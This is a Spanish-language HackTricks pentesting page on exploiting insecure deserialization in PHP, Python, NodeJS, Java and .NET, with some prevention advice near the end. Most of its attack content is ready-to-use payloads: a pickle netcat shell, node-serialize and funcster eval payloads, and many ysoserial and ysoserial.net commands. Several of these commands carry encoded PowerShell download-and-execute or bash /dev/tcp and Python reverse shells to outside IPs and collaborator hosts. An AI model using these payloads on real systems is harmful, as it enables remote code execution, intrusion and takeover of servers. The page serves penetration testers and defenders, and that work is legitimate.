hacktricks/pentesting-web/deserialization
2023-10-15 17:29:23 +00:00
..
nodejs-proto-prototype-pollution Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p 2023-08-16 09:34:11 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md f 2023-06-05 20:33:24 +02:00
basic-java-deserialization-objectinputstream-readobject.md f 2023-06-05 20:33:24 +02:00
exploiting-__viewstate-knowing-the-secret.md f 2023-06-05 20:33:24 +02:00
exploiting-__viewstate-parameter.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-10-15 17:29:23 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:36:55 +00:00
java-jsf-viewstate-.faces-deserialization.md f 2023-06-05 20:33:24 +02:00
java-transformers-to-rutime-exec-payload.md f 2023-06-05 20:33:24 +02:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:16:15 +00:00
php-deserialization-+-autoload-classes.md f 2023-06-05 20:33:24 +02:00
python-yaml-deserialization.md f 2023-06-05 20:33:24 +02:00
README.md f 2023-06-05 20:33:24 +02:00

Deserialización

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Serialización es el proceso de convertir un objeto en un formato de datos que se puede restaurar más tarde. A menudo, las personas serializan objetos para guardarlos en el almacenamiento o para enviarlos como parte de las comunicaciones.

Deserialización es el proceso inverso de ese proceso, tomando datos estructurados de algún formato y reconstruyéndolos en un objeto. Hoy en día, el formato de datos más popular para serializar datos es JSON. Antes de eso, era XML.

En muchas ocasiones, puede encontrar algún código en el lado del servidor que deserializa algún objeto proporcionado por el usuario.
En este caso, puede enviar una carga útil maliciosa para hacer que el lado del servidor se comporte de manera inesperada.

Deberías leer: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html para aprender cómo atacar.

PHP

Método mágico utilizado con la serialización:

  • __sleep se llama cuando se serializa un objeto y debe devolverse a una matriz.

Método mágico utilizado con la deserialización:

  • __wakeup se llama cuando se deserializa un objeto.
  • __unserialize se llama en lugar de __wakeup si existe.
  • __destruct se llama cuando el script PHP termina y el objeto se destruye.
  • __toString utiliza el objeto como cadena, pero también se puede usar para leer archivos o más que eso basado en la llamada de función dentro de él.
<?php
class test {
    public $s = "This is a test";
    public function displaystring(){
        echo $this->s.'<br />';
    }
    public function __toString()
    {
        echo '__toString method called';
    }
    public function __construct(){
        echo "__construct method called";
    }
    public function __destruct(){
        echo "__destruct method called";
    }
    public function __wakeup(){
        echo "__wakeup method called";
    }
    public function __sleep(){
        echo "__sleep method called";
        return array("s"); #The "s" makes references to the public attribute
    }
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Si observas los resultados, puedes ver que las funciones __wakeup y __destruct se llaman cuando se deserializa el objeto. Ten en cuenta que en varios tutoriales encontrarás que la función __toString se llama al intentar imprimir algún atributo, pero aparentemente eso ya no sucede.

{% hint style="warning" %} El método __unserialize(array $data) se llama en lugar de __wakeup() si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar.

phpCopy codeclass MyClass {
    private $property;

    public function __unserialize(array $data): void {
        $this->property = $data['property'];
        // Perform any necessary tasks upon deserialization.
    }
}

{% endhint %}

Puedes leer un ejemplo explicado en PHP aquí: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aquí https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o aquí https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Podrías abusar de la funcionalidad de carga automática de PHP para cargar archivos php arbitrarios y más:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializando valores referenciados

Si por alguna razón deseas serializar un valor como una referencia a otro valor serializado, puedes hacerlo:

<?php
class AClass {
    public $param1;
    public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial para PHP)

PHPGCC puede ayudarte a generar payloads para abusar de las deserializaciones de PHP.
Ten en cuenta que en varios casos no podrás encontrar una forma de abusar de una deserialización en el código fuente de la aplicación, pero podrías ser capaz de abusar del código de extensiones PHP externas.
Por lo tanto, si puedes, revisa la phpinfo() del servidor y busca en internet (incluso en los gadgets de PHPGCC) algún posible gadget que puedas abusar.

Deserialización de metadatos phar://

Si has encontrado una LFI que solo lee el archivo y no ejecuta el código php dentro de él, por ejemplo usando funciones como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize(). Puedes intentar abusar de una deserialización que ocurre cuando se lee un archivo usando el protocolo phar.
Para obtener más información, lee el siguiente post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Cuando el objeto se deserializa, se ejecutará la función __reduce__.
Cuando se explota, el servidor podría devolver un error.

import pickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Para obtener más información sobre cómo escapar de las cárceles de pickle, consulte:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

La siguiente página presenta la técnica para abusar de una deserialización insegura en las bibliotecas de Python yaml y finaliza con una herramienta que se puede utilizar para generar una carga útil de deserialización RCE para Pickle, PyYAML, jsonpickle y ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Contaminación de Clases (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Funciones Mágicas de JS

JS no tiene funciones "mágicas" como PHP o Python que se van a ejecutar solo para crear un objeto. Pero tiene algunas funciones que se utilizan con frecuencia incluso sin llamarlas directamente como toString, valueOf, toJSON.
Si se abusa de una deserialización, se puede comprometer estas funciones para ejecutar otro código (potencialmente abusando de la contaminación de prototipos) y se podría ejecutar código arbitrario cuando se llamen.

Otra forma "mágica" de llamar a una función sin llamarla directamente es comprometer un objeto que es devuelto por una función asíncrona (promesa). Porque, si transforma ese objeto de retorno en otra promesa con una propiedad llamada "then" de tipo función, se ejecutará solo porque es devuelto por otra promesa. Siga este enlace para obtener más información.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
  const p = new Promise(resolve => {
    console.log('hello')
    resolve()
  })
  return p
}

async function test_then() {
  const p = new Promise(then => {
    console.log('hello')
    return 1
  })
  return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Contaminación de __proto__ y prototype

Si deseas aprender sobre esta técnica, echa un vistazo al siguiente tutorial:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Esta biblioteca permite serializar funciones. Ejemplo:

var y = {
 "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

El objeto serializado se verá así:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

En el ejemplo se puede ver que cuando se serializa una función se agrega la bandera _$$ND_FUNC$$_ al objeto serializado.

Dentro del archivo node-serialize/lib/serialize.js se puede encontrar la misma bandera y cómo el código la utiliza.

Como se puede ver en el último fragmento de código, si se encuentra la bandera se utiliza eval para deserializar la función, por lo que básicamente la entrada del usuario se está utilizando dentro de la función eval.

Sin embargo, solo serializar una función no la ejecutará, ya que sería necesario que alguna parte del código esté llamando a y.rce en nuestro ejemplo y eso es muy improbable.
De todos modos, se podría modificar el objeto serializado agregando algunos paréntesis para que se ejecute automáticamente la función serializada cuando se deserialice el objeto.
En el siguiente fragmento de código, observe el último paréntesis y cómo la función unserialize ejecutará automáticamente el código:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Como se indicó anteriormente, esta biblioteca obtendrá el código después de _$$ND_FUNC$$_ y lo ejecutará usando eval. Por lo tanto, para auto-ejecutar código, puede eliminar la creación de la función y el último paréntesis y simplemente ejecutar un comando JS en una sola línea como en el siguiente ejemplo:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Puedes encontrar aquí más información sobre cómo explotar esta vulnerabilidad.

funcster

La diferencia interesante aquí es que los objetos integrados estándar no son accesibles, porque están fuera de alcance. Esto significa que podemos ejecutar nuestro código, pero no podemos llamar a los métodos de los objetos integrados. Por lo tanto, si usamos console.log() o require(something), Node devuelve una excepción como "ReferenceError: console is not defined".

Sin embargo, podemos recuperar fácilmente el acceso a todo porque todavía tenemos acceso al contexto global usando algo como this.constructor.constructor("console.log(1111)")();:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Para obtener más información, lee esta página.

serialize-javascript

El paquete no incluye ninguna funcionalidad de deserialización y requiere que la implementes tú mismo. Su ejemplo utiliza eval directamente. Este es el ejemplo oficial de deserialización:

function deserialize(serializedJavascript){
  return eval('(' + serializedJavascript + ')');
}

Si esta función se utiliza para deserializar objetos, se puede explotar fácilmente:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Biblioteca Cryo

En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios:

Java - HTTP

El principal problema con los objetos deserializados en Java es que los callbacks de deserialización se invocaron durante la deserialización. Esto hace posible que un atacante aproveche esos callbacks y prepare una carga útil que abuse de los callbacks para realizar acciones maliciosas.

Huellas digitales

Caja blanca

Busca dentro del código las clases y funciones de serialización. Por ejemplo, busca clases que implementen Serializable, el uso de java.io.ObjectInputStream o las funciones readObject o readUnshare.

También debes estar atento a:

  • XMLdecoder con parámetros definidos por el usuario externo
  • XStream con el método fromXML (la versión xstream <= v1.46 es vulnerable al problema de serialización)
  • ObjectInputStream con readObject
  • Usos de readObject, readObjectNodData, readResolve o readExternal
  • ObjectInputStream.readUnshared
  • Serializable

Caja negra

Huellas digitales/Bytes mágicos de objetos serializados de Java (de ObjectInputStream):

  • AC ED 00 05 en Hex
  • rO0 en Base64
  • Encabezado Content-type de una respuesta HTTP establecido en application/x-java-serialized-object
  • 1F 8B 08 00 Hex previamente comprimido
  • H4sIA Base64 previamente comprimido
  • Archivos web con extensión .faces y parámetro faces.ViewState. Si encuentras esto en una aplicación web, echa un vistazo al post sobre la deserialización de Java JSF VewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Comprobar si es vulnerable

Si quieres aprender cómo funciona una explotación de deserialización de Java, deberías echar un vistazo a Deserialización básica de Java, Deserialización de DNS de Java y Carga útil de CommonsCollection1.

Prueba de caja blanca

Puedes comprobar si hay alguna aplicación instalada con vulnerabilidades conocidas.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Puedes intentar verificar todas las bibliotecas conocidas por ser vulnerables y que Ysoserial pueda proporcionar una explotación. O puedes verificar las bibliotecas indicadas en Java-Deserialization-Cheat-Sheet.
También puedes usar gadgetinspector para buscar posibles cadenas de gadgets que puedan ser explotadas.
Al ejecutar gadgetinspector (después de construirlo), no te preocupes por las toneladas de advertencias/errores que está pasando y déjalo terminar. Escribirá todos los hallazgos en gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Ten en cuenta que gadgetinspector no creará una explotación y puede indicar falsos positivos.

Prueba de caja negra

Usando la extensión de Burp gadgetprobe puedes identificar qué bibliotecas están disponibles (e incluso las versiones). Con esta información, podría ser más fácil elegir una carga útil para explotar la vulnerabilidad.
Lee esto para aprender más sobre GadgetProbe.
GadgetProbe se centra en las deserializaciones de ** ObjectInputStream **.**.**

Usando la extensión de Burp Java Deserialization Scanner puedes identificar bibliotecas vulnerables explotables con ysoserial y explotarlas.
Lee esto para aprender más sobre Java Deserialization Scanner.
Java Deserialization Scanner se centra en las deserializaciones de ObjectInputStream.

También puedes usar Freddy para detectar vulnerabilidades de deserialización en Burp. Este complemento detectará vulnerabilidades relacionadas no solo con ObjectInputStream, sino también con las bibliotecas de deserialización de Json y Yml. En modo activo, intentará confirmarlos utilizando cargas útiles de sueño o DNS.
Puedes encontrar más información sobre Freddy aquí.

Prueba de serialización

No todo se trata de verificar si el servidor utiliza alguna biblioteca vulnerable. A veces, puedes ser capaz de cambiar los datos dentro del objeto serializado y pasar por alto algunas comprobaciones (quizás otorgarte privilegios de administrador dentro de una aplicación web).
Si encuentras un objeto serializado de Java que se envía a una aplicación web, puedes usar SerializationDumper para imprimir en un formato más legible para humanos el objeto de serialización que se envía. Saber qué datos estás enviando sería más fácil para modificarlos y pasar por alto algunas comprobaciones.

Explotación

ysoserial

La herramienta más conocida para explotar deserializaciones de Java es ysoserial (descarga aquí). También puedes considerar usar ysoseral-modified, que te permitirá usar comandos complejos (con tuberías, por ejemplo).
Ten en cuenta que esta herramienta se centra en explotar ObjectInputStream.
Yo comenzaría usando la carga útil "URLDNS" antes de una carga útil RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez la carga útil "URLDNS" no esté funcionando, pero otra carga útil RCE sí.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload 
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Al crear un payload para java.lang.Runtime.exec(), no se pueden usar caracteres especiales como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso pasar argumentos a un comando separados por espacios (puedes hacer echo -n "hello world" pero no puedes hacer python2 -c 'print "Hello world"'). Para codificar correctamente el payload, puedes usar esta página web.

Siéntete libre de usar el siguiente script para crear todos los posibles payloads de ejecución de código para Windows y Linux y luego probarlos en la página web vulnerable:

import os
import base64
 
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_intruder.txt', 'a').write(encoded + '\n')
 
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Puedes usar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto con ysoserial para crear más exploits. Más información sobre esta herramienta en las diapositivas de la charla donde se presentó la herramienta: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec se puede utilizar para generar payloads y explotar diferentes bibliotecas de serialización Json y Yml en Java.
Para compilar el proyecto, necesité añadir estas dependencias al archivo pom.xml:

<dependency>
		<groupId>javax.activation</groupId>
		<artifactId>activation</artifactId>
		<version>1.1.1</version>
</dependency>
		
<dependency>
		<groupId>com.sun.jndi</groupId>
		<artifactId>rmiregistry</artifactId>
		<version>1.2.1</version>
		<type>pom</type>
</dependency>

Instalar maven, y compilar el proyecto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lee más sobre esta biblioteca Java JSON en: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratorios

Por qué

Java AMA enviar objetos serializados por todas partes. Por ejemplo:

  • En solicitudes HTTP - Parámetros, ViewState, Cookies, lo que sea.
  • RMI - El protocolo Java RMI ampliamente utilizado se basa al 100% en la serialización.
  • RMI sobre HTTP - Muchas aplicaciones web de cliente grueso Java usan esto, nuevamente objetos 100% serializados.
  • JMX - De nuevo, se basa en objetos serializados que se envían por la red.
  • Protocolos personalizados - Enviar y recibir objetos Java sin procesar es la norma, lo que veremos en algunos de los exploits que vendrán.

Prevención

Objetos transitorios

Una clase que implementa Serializable puede implementar como transient cualquier objeto dentro de la clase que no deba ser serializable. Por ejemplo:

public class myAccount implements Serializable
{
    private transient double profit; // declared transient
    private transient double margin; // declared transient

Evita la serialización de una clase que necesita implementar Serializable

Algunos de los objetos de tu aplicación pueden verse obligados a implementar Serializable debido a su jerarquía. Para garantizar que tus objetos de aplicación no puedan ser deserializados, se debe declarar un método readObject() (con un modificador final) que siempre lance una excepción:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
    throw new java.io.IOException("Cannot be deserialized");
}

Verificar la clase deserializada antes de deserializarla

La clase java.io.ObjectInputStream se utiliza para deserializar objetos. Es posible endurecer su comportamiento mediante la creación de una subclase. Esta es la mejor solución si:

  • Puedes cambiar el código que realiza la deserialización
  • Conoces las clases que esperas deserializar

La idea general es sobrescribir ObjectInputStream.html#resolveClass() para restringir qué clases se permiten deserializar.

Debido a que esta llamada ocurre antes de que se llame a un readObject(), puedes estar seguro de que no ocurrirá ninguna actividad de deserialización a menos que el tipo sea uno que desees permitir.

Un ejemplo simple de esto se muestra aquí, donde la clase LookAheadObjectInputStream está garantizada para no deserializar ningún otro tipo que no sea la clase Bicycle:

public class LookAheadObjectInputStream extends ObjectInputStream {

    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    /**
    * Only deserialize instances of our expected Bicycle class
    */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(Bicycle.class.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

Fortalecer todo el uso de java.io.ObjectInputStream con un Agente

Si no eres dueño del código o no puedes esperar por un parche, usar un agente para tejer fortalecimiento en java.io.ObjectInputStream es la mejor solución.
Usando este enfoque solo puedes poner en lista negra tipos maliciosos conocidos y no ponerlos en lista blanca ya que no sabes qué objetos están siendo serializados.

Para habilitar estos agentes, simplemente agrega un nuevo parámetro JVM:

-javaagent:name-of-agent.jar

Ejemplo: rO0 por Contrast Security

Referencias

Inyección JNDI y log4Shell

Encuentra qué es la inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell (y un ejemplo de esta vulnerabilidad) en la siguiente página:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Servicio de mensajes de Java

El Java Message Service (JMS) API es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Enterprise Edition (Java EE), y fue definido por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad de Java. Es un estándar de mensajería que permite a los componentes de la aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De Wikipedia).

Productos

Hay varios productos que utilizan este middleware para enviar mensajes:

Explotación

Entonces, básicamente hay un montón de servicios que usan JMS de una manera peligrosa. Por lo tanto, si tienes suficientes privilegios para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor.
Esto significa que en esta explotación, todos los clientes que vayan a usar ese mensaje se infectarán.

Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.

La herramienta JMET fue creada para conectar y atacar estos servicios enviando varios objetos maliciosos serializados usando gadgets conocidos. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.

Referencias

.Net

.Net es similar a Java en cuanto a cómo funcionan las explotaciones de deserialización: El exploit abusará de los gadgets que ejecutan algún código interesante cuando se deserializa un objeto.

Huella digital

Caja blanca

Busca en el código fuente los siguientes términos:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Busca cualquier serializador donde el tipo sea establecido por una variable controlada por el usuario.

Caja negra

Puedes buscar la cadena codificada en Base64 AAEAAAD///// o cualquier otra cosa que pueda ser deserializada en el back-end y que te permita controlar el tipo deserializado, por ejemplo, un JSON o XML que contenga TypeObject o $type.

ysoserial.net

En este caso, puedes usar la herramienta ysoserial.net para crear los exploits de deserialización. Una vez descargado el repositorio de git, debes compilar la herramienta usando Visual Studio, por ejemplo.

Si quieres aprender sobre cómo ysoserial.net crea su exploit, puedes consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.

Las opciones principales de ysoserial.net son: --gadget, --formatter, **--output ** y --plugin.

  • --gadget se utiliza para indicar el gadget a abusar (indica la clase/función que se abusará durante la deserialización para ejecutar comandos).
  • --formatter, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net también tiene un parámetro muy interesante que ayuda a entender mejor cómo funciona cada exploit: --test. Si indicas este parámetro, ysoserial.net intentará el exploit localmente, para que puedas probar si tu carga útil funcionará correctamente. Este parámetro es útil porque si revisas el código, encontrarás fragmentos de código como el siguiente (de ObjectDataProviderGenerator.cs):

            if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.JsonNet_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }

Esto significa que para probar el exploit, el código llamará a serializersHelper.JsonNet_deserialize.

public static object JsonNet_deserialize(string str)
    {
        Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
        {
            TypeNameHandling = TypeNameHandling.Auto
        });
        return obj;
    }

En el código anterior es vulnerable al exploit creado. Por lo tanto, si encuentras algo similar en una aplicación .Net, probablemente esa aplicación también sea vulnerable.
